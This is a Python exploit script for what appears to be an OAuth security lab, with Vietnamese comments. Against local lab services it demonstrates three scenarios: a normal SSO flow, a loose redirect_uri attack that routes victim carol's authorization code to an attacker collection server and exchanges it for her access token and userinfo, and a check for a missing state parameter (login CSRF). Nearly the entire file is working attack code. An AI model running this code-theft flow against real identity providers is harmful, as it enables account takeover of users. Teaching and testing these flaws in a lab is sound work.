#!/usr/bin/env python3
"""
Exploit lab 4.4 - chiem authorization code qua redirect_uri long leo,
roi doi lay token -> account takeover tai khoan victim (carol).

Cac man:
  0. Luong SSO binh thuong (de doi chieu).
  1. Tan cong redirect_uri: ep code cua carol chay ve server attacker.
  2. Thieu state: client khong sinh/khong kiem state (login CSRF).
"""
import sys
from urllib.parse import urlparse, parse_qs

import requests

PROVIDER = "http://localhost:8044"
CLIENT = "http://localhost:8045"
ATTACKER = "http://localhost:8049"
CLIENT_ID = "portal"
CLIENT_SECRET = "portal-secret"   # public trong SPA, attacker biet


def victim_idp_session():
    # Victim carol da dang nhap IdP (nhu dang login san vao Google).
    s = requests.Session()
    s.post("%s/pv-login" % PROVIDER, data={"user": "carol"})
    return s


def normal_flow():
    print("[*] Man 0: luong SSO binh thuong")
    victim = victim_idp_session()
    # Buoc authorize voi redirect_uri DUNG (da dang ky).
    r = victim.get("%s/authorize" % PROVIDER, params={
        "response_type": "code", "client_id": CLIENT_ID,
        "redirect_uri": "http://localhost:8045/callback",
    }, allow_redirects=False)
    loc = r.headers["Location"]
    code = parse_qs(urlparse(loc).query)["code"][0]
    print("    authorize -> 302 %s" % loc)
    # Client doi code lay token (goi thang /callback cua client).
    cb = requests.get("%s/callback" % CLIENT, params={"code": code}).json()
    print("    client /callback -> %s" % cb)


def redirect_uri_attack():
    print("\n[*] Man 1: tan cong redirect_uri long leo -> cuop code")
    victim = victim_idp_session()
    evil_redirect = "%s/collect" % ATTACKER
    print("    attacker gui victim link authorize voi redirect_uri=%s" % evil_redirect)
    # Victim (dang co session IdP) mo link do. Provider KHONG kiem redirect_uri.
    r = victim.get("%s/authorize" % PROVIDER, params={
        "response_type": "code", "client_id": CLIENT_ID,
        "redirect_uri": evil_redirect,
    }, allow_redirects=False)
    loc = r.headers["Location"]
    print("    provider 302 ve server attacker: %s" % loc)
    # Trinh duyet victim di theo redirect -> server attacker nhan code.
    victim.get(loc)
    # Attacker doc log server cua minh.
    cap = requests.get("%s/captured" % ATTACKER).json()["items"][-1]
    stolen = cap["code"]
    print("    [+] server attacker bat duoc code: %s" % stolen)

    # Attacker doi code lay token (dung redirect_uri cua chinh minh de khop binding).
    tok = requests.post("%s/token" % PROVIDER, data={
        "grant_type": "authorization_code", "code": stolen,
        "client_id": CLIENT_ID, "client_secret": CLIENT_SECRET,
        "redirect_uri": evil_redirect,
    }).json()
    at = tok.get("access_token")
    print("    doi code -> access_token: %s" % at)
    ui = requests.get("%s/userinfo" % PROVIDER,
                      headers={"Authorization": "Bearer %s" % at}).json()
    print("    [+] /userinfo cua VICTIM: %s" % ui)
    return ui.get("flag")


def missing_state():
    print("\n[*] Man 2: client thieu state (login CSRF)")
    r = requests.get("%s/login" % CLIENT, allow_redirects=False)
    loc = r.headers["Location"]
    qs = parse_qs(urlparse(loc).query)
    print("    client /login -> authorize: %s" % loc)
    print("    co tham so 'state' khong? %s" % ("CO" if "state" in qs else "KHONG -> thieu chong CSRF"))
    # Client /callback chap nhan code bat ky khong can state.
    victim = victim_idp_session()
    rr = victim.get("%s/authorize" % PROVIDER, params={
        "response_type": "code", "client_id": CLIENT_ID,
        "redirect_uri": "http://localhost:8045/callback",
    }, allow_redirects=False)
    code = parse_qs(urlparse(rr.headers["Location"]).query)["code"][0]
    cb = requests.get("%s/callback" % CLIENT, params={"code": code}).json()
    print("    /callback nhan code KHONG kem state -> %s" % cb.get("ok"))


if __name__ == "__main__":
    normal_flow()
    flag = redirect_uri_attack()
    missing_state()
    print("\n=== KET QUA ===")
    if flag:
        print("  Chiem tai khoan victim (carol) qua code theft. flag=%s" % flag)
        sys.exit(0)
    print("  FAIL")
    sys.exit(1)